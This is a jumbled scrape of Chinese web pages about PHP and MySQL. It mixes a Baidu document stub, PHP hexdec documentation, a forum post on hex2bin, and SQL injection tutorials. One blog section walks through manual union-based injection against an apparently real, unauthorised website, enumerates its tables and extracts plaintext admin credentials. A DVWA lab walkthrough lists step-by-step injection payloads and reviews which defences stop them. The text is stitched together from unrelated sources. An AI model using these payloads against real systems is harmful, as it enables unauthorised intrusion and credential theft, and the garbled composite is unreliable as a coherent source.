phpphp mysql手工注入入什么要hex转换

PHP代码手工注入教程_百度文库
两大类热门资源免费畅读
续费一年阅读会员,立省24元!
PHP代码手工注入教程
上传于||文档简介
&&P​H​P​代​码​手​工​注​入​教​程​范​例
阅读已结束,如果下载本文需要使用1下载券
想免费下载本文?
定制HR最喜欢的简历
下载文档到电脑,查找使用更方便
还剩29页未读,继续阅读
定制HR最喜欢的简历
你可能喜欢& 十六进制转换为十进制
PHP hexdec 十六进制转换为十进制
hexdec & 十六进制转换为十进制
( string $hex_string
hexdec() 会忽略所有非十六进制字符。
Example #1 hexdec() 例子
&?phpvar_dump(hexdec("See"));var_dump(hexdec("ee"));//&both&print&"int(238)"var_dump(hexdec("that"));&//&print&"int(10)"var_dump(hexdec("a0"));&//&print&"int(160)"?&
PHPMath - 函数php5.3及一下版本把16进制HEX数据转换为2进制BIN数据的方法_php吧_百度贴吧
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&签到排名:今日本吧第个签到,本吧因你更精彩,明天继续来努力!
本吧签到人数:0成为超级会员,使用一键签到本月漏签0次!成为超级会员,赠送8张补签卡连续签到:天&&累计签到:天超级会员单次开通12个月以上,赠送连续签到卡3张
关注:113,066贴子:
php5.3及一下版本把16进制HEX数据转换为2进制BIN数据的方法收藏
在php5.4以及更高的版本中, php可以直接使用hex2bin()函数来将16进制HEX数据转换为2进制BIN数据。但是现在还有非常多的服务器用的php5.3甚至php5.2,如何才能在低版本环境下将16进制HEX数据转换为2进制BIN数据呢。为了能兼容低版本,我们只能动手自己写了,其实很简单,下面自己定义一个函数 myhex2bin().function myhex2bin($data) {
$len = strlen($data);
return pack(&H& . $len, $data);
然后来测试一下结果是否正确。$bin = **;
echo bin2hex($bin);
可以看到bin2hex(**)的结果是a756e626a2e636f6d然后我们测试自己的 myhex2bin()函数。function myhex2bin($data) {
$len = strlen($data);
return pack(&H& . $len, $data);
$hex = *a756e626a2e636f6d*;
echo myhex2bin($hex);
可以看到结果是这样看来,这个函数是正确的。
php一般只需4-8周就可以掌握,88天=2年工作经验,推荐工作-轻松就业php课程费用根据培训课时而定,免费试听基础课程,咨询即可申请!!
原文地址进入我的小站最新一篇文章就是的
5.3不是支持么
不支持多字节字符
登录百度帐号推荐应用
为兴趣而生,贴吧更懂你。或php+mysql手工注入教程
今天无聊找了个mysql的站练手注入点:xxxxxxxand1=1 返回正确 and1=2返回错误 说明存在注入点+order+by+11 反悔正确+order+by+12 返回错误
说明存在11个字段+union+select+1,2,3,4,5,6,7,8,9,10,11 看清楚那里是-13 是让他报错用的 也可以用and 1=2 报错
User() 数据库用户名Version() 数据库版本Database() 当前使用的数据库名+union+select+1,user(),3,4,Version(),6,7,8,9,10,11
5.0说明可以直接查表 +union+select+1,2,3,4,unhex(hex(GROUP_CONCAT(table_name))),6,7,8,9,10,11+from+information_schema.tables+where+table_schema=Database()直接爆表
ad_play,banner,baozhi,baozhi_class,baozhidowns,cdowns,chengyuan,downs,fuwu,guanyu,guanzhu,jobs,language,link,liuyan,liuyan_class,member,news,news_class,province,renli,store,store_class,store_class2,store_class3,t_china_class,t_china_store,t_lianxi,t_sts,t_users,t_world_class,t_world_store,video,wangluo,word,works,yingyong,yingyong_class,zazhi,zazhi_class,zazhidowns有一个t_users 应该是存放管理员的 先把t_users转换为hex 爆列:+union+select+1,2,3,4,unhex(hex(GROUP_CONCAT(column_name))),6,7,8,9,10,11+from+information_schema.columns+where+table_name=0x745F
然后就就是查询了 +union+select+1,2,3,4,concat(0x3a,t_name,0x3a,t_pass),6,7,8,9,10,11+from+t_users
还没加密 好了 大家别去搞这个站了 我难得打码
【声明】:黑吧安全网()登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱,我们会在最短的时间内进行处理。
上一篇:【】【】网络安全-SQL注入(4)
1.使用浏览器打开http://192.168.1.3:8080/dvwa/login.php,输入用户名admin,密码password进行登录。登录需要将DVWA的安全级别调整为low。调整之后选择SQL Injection,进入页面。提示输入User ID,输入正确的ID,将显示 ID、First name、Surname信息。可以得知此处为注入点,尝试输入“’”,返回错误。
2.尝试输入1 or 1=1遍历数据库没有成功,猜测程序将此处看成了字符型。
3.尝试输入1’ or ‘1’=’1遍历数据库成功,显示出了所有内容。
4.利用order by num语句来测试查询信息列表,修改num的值,这里我们输入1'order by 1 - - (注意--后有空格,后面不再说明)结果页面正常显示。继续测试1'order by 2 -- ,1'order by 3 -- ,当输入3时,页面报错:Unknown column '3' in 'order clause',由此我们判断查询结果值为2列。
5.输入1' and 1=2 union select 1,2 -- ,从而得出First name处显示结果为查询结果第一列的值,Surname处显示结果为查询结果第二列的值。
6.通过注入1' and 1=2 union select user(),database() -- 得到数据库用户以及数据库名称。
7.通过注入1' and 1=2 union select version(),database() -- 得到数据库版本信息。
8.通过注入1'and 1=2 union select 1,@@global.version_compile_os from mysql.user – 获得操作系统信息。
9.通过注入1' and 1=2 union select 1,schema_name from information_schema.schemata -- 查询mysql所有数据库名字。
10.通过注入1' and exists(select * from users) -- 猜解dvwa数据库中的表名。
11.猜解字段名1' and exists(select 表名 from users) -- ,这里测试的字段名有first_name和last_name:1' and exists(select first_name from users) -- 和1' and exists(select last_name from users) – 。
12.爆出数据库中字段的内容 1' and 1=2 union select first_name,last_name from users -- ,这里其实如果是存放管理员账户的表,那么用户名、密码信息字段就可以爆出来了。
13.查看low等级源代码。通过代码可以看出,对输入$id的值没有进行任何过滤就直接放入了SQL语句中进行处理,这样带来了极大的隐患。
14.查看medium等级源代码。通过代码可以看出,对输入的$id的值使用mysql_real_eascape_string()函数进行了处理。在PHP中,使用mysql_real_eascape_string()函数用来转义SQL语句中使用字符串的特殊字符。但是使用这个函数对参数进行转换是存在绕过的。只需要将攻击字符进行转换一下编码格式即可绕过该防护函数。比如使用url编码等方式。同时发现SQL语句中变成了WHERE user_id = $id”,此处变成了数字型注入,所以此处使用mysql_real_escape_string()函数并没有起到防护的作用。
15.查看high等级源代码。通过代码可以看出,对传入$id的值使用stripslashes()函数处理以后再使用$mysql_real_escape_string()函数进行处理。默认情况下,PHP会对所有的GET,POST和cookie数据自动运行addslashes(),addslashes()函数在每个双引号前添加反斜杠。
&!DOCTYPE html&
$str = addslashes('Shanghai is the &biggest& city in China.');
echo($str);
运行结果:Shanghai is the \&biggest\& city in China.
stripslashes()函数则是删除由addslashes()函数添加的反斜杠。在使用这两个函数进行过滤之后再使用is_numric()函数检查$id的值是否为数字,彻底断绝了注入的存在。
参考知识库
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
访问:29739次
积分:1248
积分:1248
排名:千里之外
原创:97篇
转载:49篇
(3)(17)(40)(15)(1)(23)(17)(24)(5)

我要回帖

更多关于 php mysql手工注入 的文章

 

随机推荐